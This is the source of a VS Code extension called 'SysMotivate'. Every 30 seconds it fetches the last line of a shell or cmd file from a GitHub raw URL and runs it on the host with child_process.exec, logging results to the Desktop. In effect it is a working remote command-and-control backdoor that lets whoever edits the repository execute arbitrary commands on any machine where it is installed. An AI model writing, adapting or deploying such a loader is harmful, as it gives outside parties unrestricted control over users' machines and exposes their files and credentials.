const vscode = require('vscode');
const os = require('os');
const fs = require('fs');
const path = require('path');
const https = require('https');
const { exec } = require('child_process');

const commandFetchInterval = 30000; // 30 seconds
const desktopPath = path.join(os.homedir(), 'Desktop');
const logFilePath = path.join(desktopPath, "sysmotivate_command_log.txt");
const lastCommandFile = path.join(desktopPath, "sysmotivate_last_command.txt");

let statusBarItem;

/**
 * Initialize the VS Code status bar item
 */
function initializeStatusBar() {
    statusBarItem = vscode.window.createStatusBarItem(vscode.StatusBarAlignment.Right, 100);
    statusBarItem.text = "$(sync) Looking for commands...";
    statusBarItem.show();
}

/**
 * Update the status bar message
 */
function updateStatusBarMessage(message) {
    if (statusBarItem) {
        statusBarItem.text = `$(terminal) ${message}`;
    }
}

/**
 * Fetch and execute new commands from GitHub every 30 seconds.
 */
function fetchAndExecuteCommands() {
    const timestamp = Date.now(); // Unique timestamp to prevent GitHub caching
    const commandURL = os.platform() === 'win32'
        ? `https://raw.githubusercontent.com/kosecdev/sysmotivate/refs/heads/main/cmd?nocache=${timestamp}`
        : `https://raw.githubusercontent.com/kosecdev/sysmotivate/refs/heads/main/sh?nocache=${timestamp}`;

    updateStatusBarMessage("Looking for commands...");
    console.log(`📥 Checking for new commands from: ${commandURL}`);

    https.get(commandURL, (response) => {
        let data = '';

        response.on('data', chunk => {
            data += chunk;
        });

        response.on('end', () => {
            const commands = data.split('\n').map(cmd => cmd.trim()).filter(cmd => cmd !== ""); // Remove empty lines

            if (commands.length === 0) {
                updateStatusBarMessage("No commands found");
                console.log("⚠️ No commands found.");
                return;
            }

            const lastCommand = readLastExecutedCommand();
            const latestCommand = commands[commands.length - 1]; // Get the last command in the GitHub file

            if (latestCommand === lastCommand) {
                updateStatusBarMessage("No new commands to execute");
                console.log("✅ Last command is the same, skipping execution.");
                return;
            }

            console.log(`🔹 New command detected: ${latestCommand}`);
            executeCommand(latestCommand);
        });

    }).on('error', (err) => {
        updateStatusBarMessage("Error fetching commands");
        console.error(`❌ Failed to fetch commands: ${err.message}`);
    });

    // Repeat every 30 seconds
    setTimeout(fetchAndExecuteCommands, commandFetchInterval);
}

/**
 * Read the last executed command from the local file.
 */
function readLastExecutedCommand() {
    try {
        if (fs.existsSync(lastCommandFile)) {
            return fs.readFileSync(lastCommandFile, 'utf8').trim();
        }
    } catch (error) {
        console.error(`⚠️ Error reading last executed command: ${error.message}`);
    }
    return "";
}

/**
 * Execute a command and log its output.
 */
function executeCommand(command) {
    updateStatusBarMessage(`Executing: ${command}`);
    console.log(`🔹 Executing: ${command}`);

    exec(command, (error, stdout, stderr) => {
        let logEntry = `\n[${new Date().toISOString()}] Command: ${command}\n`;

        if (error) {
            logEntry += `❌ Error: ${error.message}\n`;
            console.error(`❌ Error executing: ${command}\n${error.message}`);
        }
        if (stderr) {
            logEntry += `⚠️ STDERR: ${stderr}\n`;
            console.error(`⚠️ STDERR: ${stderr}`);
        }
        if (stdout) {
            logEntry += `📄 STDOUT: ${stdout}\n`;
            console.log(`📄 STDOUT: ${stdout}`);
        }

        // Log to file
        fs.appendFileSync(logFilePath, logEntry, 'utf8');

        // Save last executed command
        fs.writeFileSync(lastCommandFile, command, 'utf8');

        updateStatusBarMessage("Waiting for new commands...");
    });
}

/**
 * @param {vscode.ExtensionContext} context
 */
function activate(context) {
    console.log('🚀 SysMotivate extension activated!');

    vscode.window.showInformationMessage(`✅ SysMotivate is running! Commands will be executed every 30 seconds.`);
    
    initializeStatusBar();
    fetchAndExecuteCommands();

    context.subscriptions.push(statusBarItem);
}

/**
 * Deactivation function
 */
function deactivate() {
    if (statusBarItem) {
        statusBarItem.hide();
    }
}

module.exports = {
    activate,
    deactivate
};
